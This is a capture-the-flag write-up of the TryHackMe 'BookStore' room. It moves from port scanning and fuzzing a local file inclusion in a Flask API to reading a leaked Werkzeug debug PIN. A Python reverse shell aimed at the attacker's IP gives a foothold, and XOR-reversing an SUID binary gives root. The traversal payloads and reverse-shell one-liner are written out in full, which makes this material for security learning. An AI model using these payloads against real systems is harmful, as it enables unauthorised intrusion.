TryHackMe: BookStore

TryHackMe: Bookstore by sidchn

Enumeration

Usual SOP, break out rustscan

╰─⠠⠵ rustscan -a bookstore --ulimit 10000 -- -sC -sV -oA bookstore -v -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.240.62:22
Open 10.10.240.62:80
Open 10.10.240.62:5000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-03 18:13 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
Initiating Ping Scan at 18:13
Scanning 10.10.240.62 [2 ports]
Completed Ping Scan at 18:13, 0.21s elapsed (1 total hosts)
Initiating Connect Scan at 18:13
Scanning bookstore (10.10.240.62) [3 ports]
Discovered open port 22/tcp on 10.10.240.62
Discovered open port 80/tcp on 10.10.240.62
Discovered open port 5000/tcp on 10.10.240.62
Completed Connect Scan at 18:13, 0.22s elapsed (3 total ports)
Initiating Service scan at 18:13
Scanning 3 services on bookstore (10.10.240.62)
Completed Service scan at 18:13, 6.88s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.240.62.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 6.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.83s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
Nmap scan report for bookstore (10.10.240.62)
Host is up, received syn-ack (0.21s latency).
Scanned at 2021-02-03 18:13:26 GMT for 14s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5RybjdxaxapwkXwbzqZqONeX4X8rYtfTsy7wey7ZeRNsl36qQWhTrurBWWnYPO7wn2nEQ7Iz0+tmvSI3hms3eIEufCC/2FEftezKhtP1s4/qjp8UmRdaewMW2zYg+UDmn9QYmRfbBH80CLQvBwlsibEi3aLvhi/YrNCzL5yxMFQNWHIEMIry/FK1aSbMj7DEXTRnk5R3CYg3/OX1k3ssy7GlXAcvt5QyfmQQKfwpOG7UM9M8mXDCMiTGlvgx6dJkbG0XI81ho2yMlcDEZ/AsXaDPAKbH+RW5FsC5R1ft9PhRnaIkUoPwCLKl8Tp6YFSPcANVFYwTxtdUReU3QaF9
|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbhAKUo1OeBOX5j9stuJkgBBmhTJ+zWZIRZyNDaSCxG6U817W85c9TV1oWw/A0TosCyr73Mn73BiyGAxis6lNQ=
|   256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAr3xDLg8D5BpJSRh8OgBRPhvxNSPERedYUTJkjDs/jc
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open  http    syn-ack Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
| http-robots.txt: 1 disallowed entry 
|_/api </p> 
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:13
Completed NSE at 18:13, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.84 seconds

22/ssh

No username/password so skip for now

80/http

/login.html

Login Page: http://bookstore/login.html

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Login</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->	
	<link rel="icon" type="image/png" href="favicon.ico"/>
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/vendor/bootstrap/css/bootstrap.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/fonts/font-awesome-4.7.0/css/font-awesome.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/fonts/Linearicons-Free-v1.0.0/icon-font.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/vendor/animate/animate.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="more_css/vendor/css-hamburgers/hamburgers.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/vendor/animsition/css/animsition.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/vendor/select2/select2.min.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="more_css/vendor/daterangepicker/daterangepicker.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="more_css/css/util.css">
	<link rel="stylesheet" type="text/css" href="more_css/css/main.css">
<!--===============================================================================================-->
</head>
<body>
	
	<div class="limiter">
		<div class="container-login100">
			<div class="wrap-login100">
				<form class="login100-form validate-form">
					<span class="login100-form-title p-b-34">
						Account Login
					</span>
					
					<div class="wrap-input100 rs1-wrap-input100 validate-input m-b-20" data-validate="Type user name">
						<input id="first-name" class="input100" type="text" name="username" placeholder="User name">
						<span class="focus-input100"></span>
					</div>
					<div class="wrap-input100 rs2-wrap-input100 validate-input m-b-20" data-validate="Type password">
						<input class="input100" type="password" name="pass" placeholder="Password">
						<span class="focus-input100"></span>
					</div>
					
					<div class="container-login100-form-btn">
						<button class="login100-form-btn">
							Sign in
						</button>
					</div>

					<div class="w-full text-center p-t-27 p-b-239">
						<span class="txt1">
							Forgot
						</span>

						<a href="#" class="txt2">
							User name / password?
						</a>
					</div>

					<div class="w-full text-center">
						<a href="#" class="txt3">
							Sign Up
						</a>
					</div>
				</form>

				<div class="login100-more" style="background-image: url('more_css/images/bg-01.jpg');"></div>
			</div>
		</div>
	</div>
	
	

	<div id="dropDownSelect1"></div>
	
<!--===============================================================================================-->
	<script src="more_css/vendor/jquery/jquery-3.2.1.min.js"></script>
<!--===============================================================================================-->
	<script src="more_css/vendor/animsition/js/animsition.min.js"></script>
<!--===============================================================================================-->
	<script src="more_css/vendor/bootstrap/js/popper.js"></script>
	<script src="more_css/vendor/bootstrap/js/bootstrap.min.js"></script>
<!--===============================================================================================-->
	<script src="more_css/vendor/select2/select2.min.js"></script>
	<script>
		$(".selection-2").select2({
			minimumResultsForSearch: 20,
			dropdownParent: $('#dropDownSelect1')
		});
	</script>
<!--===============================================================================================-->
	<script src="more_css/vendor/daterangepicker/moment.min.js"></script>
	<script src="more_css/vendor/daterangepicker/daterangepicker.js"></script>
<!--===============================================================================================-->
	<script src="more_css/vendor/countdowntime/countdowntime.js"></script>
<!--===============================================================================================-->
	<script src="more_css/js/main.js"></script>
				<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->
</body>
</html>

/books.html

<!DOCTYPE HTML>
<!--
	Road Trip by TEMPLATED
	templated.co @templatedco
	Released for free under the Creative Commons Attribution 3.0 license (templated.co/license)
-->
<html>
	<head>
		<title>Book Store</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="stylesheet" href="assets/css/main.css" />
	</head>
	<body class="subpage">

		<!-- Header -->
			<header id="header" class="alt">
				<div class="logo"><a href="index.html">Book Store</a></div>
				<a href="#menu"><span>Menu</span></a>
			</header>

		<!-- Nav -->
			<nav id="menu">
				<ul class="links">
					<li><a href="index.html">Home</a></li>
					<li><a href="books.html">Books</a></li>
					<li><a href="login.html">Login</a></li>
				</ul>
			</nav>
			<!--GY4CANZUEA3TIIBXGAQDOMZAGNQSAMTGEAZGMIBXG4QDONZAG43SAMTFEA3TSIBWMYQDONJAG42CANZVEA3DEIBWGUQDEZJAGYZSANTGEA3GIIBSMYQDONZAGYYSANZUEA3DGIBWHAQDGZRAG43CAM3EEA2TIIBXGQQDGNZAGYZCAN3BEA3TQIBXGUQDOMRAGRQSAMZREA2DS=== -->
		<!-- Content -->
			<section id="post" class="wrapper bg-img" data-bg="banner2.jpg">
				<div class="inner">
					<article class="box">
						<header>	
							<h2>Some of our Best Sci-Fi Books!</h2>
							<p>01.01.2020</p>
						</header>
						<div class="content" id="respons">
						</div>
						<footer>
							<ul class="actions">
								<li><a href="#" class="button alt icon fa-chevron-left"><span class="label">Previous</span></a></li>
								<li><a href="#" class="button alt icon fa-chevron-right"><span class="label">Next</span></a></li>
							</ul>
						</footer>
					</article>
				</div>
			</section>

		<!-- Footer -->
			<footer id="footer">
				<div class="inner">
					<h2>See Some More Sci-Fi Books</h2>
					<div class="wrapper">

					<button  onclick="window.location.reload();">Show More</button>
					</div>
					<ul class="icons">
						<li><a href="#" class="icon round fa-twitter"><span class="label">Twitter</span></a></li>
						<li><a href="#" class="icon round fa-facebook"><span class="label">Facebook</span></a></li>
						<li><a href="#" class="icon round fa-instagram"><span class="label">Instagram</span></a></li>
					</ul>
					</div>
					<div class="copyright">
						&copy; Untitled. Design: <a href="https://templated.co">TEMPLATED</a>. Images: <a href="https://unsplash.com">Unsplash</a>.
					</div>

				</div>
			</footer>
	<script>
	function myFunc(){
			getUsers();
			window.location.reload();	
		}
	</script>

			
			<script src="assets/js/api.js"></script>
			<script src="assets/js/jquery.min.js"></script>
			<script src="assets/js/jquery.scrolly.min.js"></script>
			<script src="assets/js/jquery.scrollex.min.js"></script>
			<script src="assets/js/skel.min.js"></script>
			<script src="assets/js/util.js"></script>
			<script src="assets/js/main.js"></script>


	</body>
</html>

The hash is a base32 stickroll

GY4CANZUEA3TIIBXGAQDOMZAGNQSAMTGEAZGMIBXG4QDONZAG43SAMTFEA3TSIBWMYQDONJAG42CANZVEA3DEIBWGUQDEZJAGYZSANTGEA3GIIBSMYQDONZAGYYSANZUEA3DGIBWHAQDGZRAG43CAM3EEA2TIIBXGQQDGNZAGYZCAN3BEA3TQIBXGUQDOMRAGRQSAMZREA2DS===

/assets/js/api.js

function getAPIURL() {
var str = window.location.hostname;
str = str + ":5000"
return str;

    }


async function getUsers() {
    var u=getAPIURL();
    let url = 'http://' + u + '/api/v2/resources/books/random4';
    try {
        let res = await fetch(url);
	return await res.json();
    } catch (error) {
        console.log(error);
    }
}

async function renderUsers() {
    let users = await getUsers();
    let html = '';
    users.forEach(user => {
        let htmlSegment = `<div class="user">
	 	        <h2>Title : ${user.title}</h3> <br>
                        <h3>First Sentence : </h3> <br>
			<h4>${user.first_sentence}</h4><br>
                        <h1>Author: ${user.author} </h1> <br> <br>        
                </div>`;

        html += htmlSegment;
   });
   
    let container = document.getElementById("respons");
    container.innerHTML = html;
}
renderUsers();
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

5000/ api


User Flag

Played about with the api on :5000 for a bit with sqlmap and injections but nothing working. Time to break out wfuzz

╰─⠠⠵ wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bookstore:5000/api/v2/resources/books\?FUZZ\=../../../../../../../../..//etc/passwd | grep -v 404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bookstore:5000/api/v2/resources/books?FUZZ=../../../../../../../../..//etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                     
=====================================================================

                                                        3.0/"                                                       
                                                        is"                                                         
                                                        ./../../../..//etc/passwd"                                  
                                                        found"                                                      
000000486:   200        1 L      1 W        3 Ch        "author"                                                    
000000529:   200        1 L      1 W        3 Ch        "id"   

This was taking for ever and not finding anything then I read the api.js again and switched to v1.

╰─⠠⠵ wfuzz -u http://bookstore:5000/api/v1/resources/books\?FUZZ\=../../../../../../../../..//etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bookstore:5000/api/v1/resources/books?FUZZ=../../../../../../../../..//etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                     
=====================================================================

000000395:   200        30 L     38 W       1555 Ch     "show"                                                      
000000486:   200        1 L      1 W        3 Ch        "author"                                                    
000000529:   200        1 L      1 W        3 Ch        "id"                                                        
000001124:   404        1 L      8 W        66 Ch       "wink"                                                      

Total time: 29.08390
Processed Requests: 1169
Filtered Requests: 1166
Requests/sec.: 40.19404

If we visit 'http://bookstore:5000/api/v1/resources/books?show=.bash_history'

cd /home/sid
whoami 
export WERKZEUG_DEBUG_PIN=123-321-135 
echo $WERKZEUG_DEBUG_PIN 
python3 /home/sid/api.py
ls
exit 

/console

As the web server is Werkzeug httpd 0.14.1 (Python 3.6.9) we can check if the debug console is open

Using the PIN above we can access the console.

From here we should be able to get a reverse shell using

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.5.198",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

On our attack box we listen with nc -lvnp 4444 and boom we get a shell

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...


connect to [10.9.5.198] from (UNKNOWN) [10.10.46.92] 41924
/bin/sh: 0: can't access tty; job control turned off
$ $ $ 

So let's stablise our shell and copy our ssh key just incase

$ python3 -c 'import pty;pty.spawn("/bin/bash");'
sid@bookstore:~$ export TERM=xterm
export TERM=xterm
sid@bookstore:~$ ^Z
[1]  + 7154 suspended  nc -lvnp 4444

╰─⠠⠵ stty raw -echo; fg
[1]  + 7154 continued  nc -lvnp 4444

sid@bookstore:~$ 

And we pickup our user.txt

sid@bookstore:~$ cat user.txt 
[REDACTED]

Root Flag

First thing I notice is try-harder which is SUID to root

sid@bookstore:~$ ls -l
total 44
-r--r--r-- 1 sid  sid  4635 Oct 20 02:52 api.py
-r-xr-xr-x 1 sid  sid   160 Oct 14 21:49 api-up.sh
-rw-rw-r-- 1 sid  sid 16384 Oct 19 22:03 books.db
-rwsrwsr-x 1 root sid  8488 Oct 20 03:01 try-harder
-r--r----- 1 sid  sid    33 Oct 15 11:14 user.txt

So if we run this

sid@bookstore:~$ ./try-harder 
What's The Magic Number?!
2
Incorrect Try Harder

So we need to reverse this binary. Pulling the binary off and looking at the main function we see

void main(void)

{
  long in_FS_OFFSET;
  uint local_1c;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  local_18 = 0x5db3;
  puts("What\'s The Magic Number?!");
  __isoc99_scanf(&DAT_001008ee,&local_1c);
  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

At this point I reliased I need to work out what local_1c would be as we know what local_18 is and that local_1c ^ 0x1116 ^ local_18 needs to equal 0x5dcd21f4 ..... and I got stuck.... I had to looks at some write-ups which explained XOR.

All this binary does is check if the integer that the user enters XOR’d with 0x1116 and 0x5db3 is equal to 0x5dcd21f4.

The way XOR works is if you XOR a = x ^ y ^ z is the same as y = a ^ x ^ z

We have the a which is 0x5dcd21f4 which is being compared to local_14, x which is 0x1116 , and z which is 0x5db3

Using the above from https://n00bmaster.me/posts/Book-Store/ I threw this into python.

╰─⠠⠵ python3
Python 3.9.1+ (default, Jan 20 2021, 14:49:22) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x5dcd21f4 ^ 0x1116 ^ 0x5db3
[REDACTED]

Using the value returned we are able to guess the magic number and become root

./try-harder
[REDACTED]
id
uid=0(root) gid=1000(sid) groups=1000(sid)
cd /root
ls
root.txt
s
cat root.txt
[REDACTED]

Finish!

Boom, another room done and we learned something about XOR :)